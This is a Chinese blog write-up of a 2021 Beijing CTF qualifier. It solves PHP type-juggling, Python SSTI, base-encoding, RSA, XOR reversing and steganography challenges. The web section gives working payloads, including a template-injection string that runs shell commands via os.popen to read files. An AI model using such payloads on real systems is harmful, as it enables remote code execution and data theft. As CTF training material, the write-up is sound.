2021第三届北京通信行业CTF初赛writeup

原创

B1u3Buf4 于 2021-08-13 02:10:01 发布 571 收藏 2
文章标签： 安全

整个CTF部分共计8道题，需要在3个小时内完成。

文章目录

Web

web1

题目

```php
<?php
if(!$_GET['source']){
  highlight_file(__FILE__);
}
$a = $_GET['a'];
$b = $_GET['b'];
$c = $_GET['c'];
$check = $a and $b;
if($check){
  if($a and $b){
    die("No flag!Try it again!");
  }
  else{
    if($c == md5($c)){
      die(getenv("FLAG"));
    }
  }
}
else{
  die("Are You kidding?");
}
```

php代码审计，主要考察`==`条件下，如何使用科学计数法绕过`$c == md5($c)`。典型的例子有很多，甚至可以用脚本暴力枚举。

```
0e291242476940776845150308577824 == 0e215962017
```

payload：

```
?source=a&a=1&c=0e215962017
```

web2

题目给了一个输入框，根据提示python的SSTI问题。利用python内置函数leak导入的包，发现有导入os模块。然后通过调用os的读写函数查看目录，读flag。

列目录

```
{{config.__class__.__init__.__globals__['os'].popen('dir').read()}}
```

读flag

```
{{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}
```

web3

没做出来。nodejs题目，比赛结束后才知道题目直接有源码，当时这边一直刷不出来源码的压缩包。

Crypto

bbuh

给了一个文本文件，内容类似base编码，观察字符集或者暴力尝试。解密链`base32 -> base64 -> url decode -> hex to ascii`，果然如题目名称。解密脚本：

```
import base64
import binascii


a = 'JJKE252KKRRTISSUJUZEUVCNGJFFITJSJJKFS6SKKRGTESSUJV4EUVCNGJFFITJTJJKE2M2KKRMXSSSUJUZEUVCNGFFFITL2JJKE2M2KKRG
XUSSUJV4EUVCNGJFFITL2JJKE26SKKRGXSSSUJV5EUVCNGNFFITJSJJKE26SKKRGXUSSUJV5EUVCNGJFFITJRJJKE2MSKKRGTCSSUJV5EUVCNPJF
FITL2JJKE2MCKKRGTESSUJV5EUVCNPJFFITJTJJKE2MSKKRGTCSSUJV5EUVCNO5FFITL2JJKE2M2KKRGTESSUJV5EUVCNPJFFITLXJJKE26SKKRG
TASSUJUZEUVCNGBFFITL2JJKE2NKKKRGXUSSUJUYUUVCNGJFFITL2JJKE2MSKKRGTASSUJV5EUVCNGVFFITL2JJKE2M2KKRGTESSUJUYEUVCNPJF
FITJRJJKE26SKKRGTGSSUJV5EUVCNPBFFITJSJJKE2MCKKRGTGSSULEYA====='
b = base64.b32decode(a)
c = base64.b64decode(b.decode())
d = [chr(int(i, 16)) for i in c.split('%')[1:]]
e = ''.join(d)
f = e[2:]
print(binascii.a2b_hex(f))
```

rsa

rsa常见姿势，解密脚本：

```
import libnum
from Crypto.Util.number import long_to_bytes


e = 65537
c = 13872210476271897603285754365130288617052505600160271659214162565838376740826409326211370978617226061555599682456775381192569563866923838623470864511118213415246493321728754197901922815920998481162829403873975145408610995097520994819749574339677738827382034968633591951669741169304662409576970312846920221151668802612329521115853147064781584124592017001172918586266746996655477686124216065474354199284719378600578783228585228120052441763247635686763688276999699081652112131834803538084064593353335952238204894540796486713658133411021170332720926570418768859870007491172667576705288264958273414992016447635481977257 2
n = 15293032452367350153165488019040591774681947461806846211394110253205642263473409036704430501788674488200851282278984725917912759352314609076680106465146927987185897175378916654731151435950320195255522494291583988536029296991596619423707257925682257185042246028065776839633921182038513220548394723908052221984662464436997205150633282305927029392525099540708495780571249882489695973963632971183382777042356347551064066905696276285731788272303683511385482977782637450227421451201918293810767333044827440010656954584157537245294463744706911890881303916957823546888317663596809518986423759580164973515874335313890183844107
y = 24769230412452524566721198503880757714952649849462058722737213195679709469102412374404298185430598372619786160263210683953501831068393349864367660981058987591858641786638686906476809033870101289055971875317304938332349650218444143669142404876306587018760288964281712134464737035527456806146801922649821695653 2

phi = n - y + 1
d = libnum.invmod(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
```

Reverse

re1

进入main，逻辑简单，异或算法，提取前面比较的字符串`545E53554950070202 0B04030A1F515756011F065705061F500757071F030B050A0701020407570A054F`

```
a = '545E53554950070202 0B04030A1F515756011F065705061F500757071F030B050A0701020407570A054F'
b = [chr(int(a[i:i+2], 16) ^ 0x32) for i in range(0, len(a), 2)]
print(''.join(b))
```

re2

有TLS反调试，ida可能会提示`JUMPOUT`，直接跳进去能分析（ghidra显示正常）。主要逻辑是异或计算，直接提取两个32长度的数据，计算出来结果比较诡异，偶数位上的数据不正常。回溯后发现在tls回调函数修改其中一组的数据，关注4015B0上下游函数逻辑，对应调整偶数位数据即可。

Misc

misc1

LSB隐写，不过色彩三通道排序不是RBG，而是BGR。运行隐写分析工具，`java -jar .\stegsolve.jar`。在BGR排序的LSB下看到有PK头和flag.txt，疑似压缩包，使用save bin保存成flag.zip，解压即可。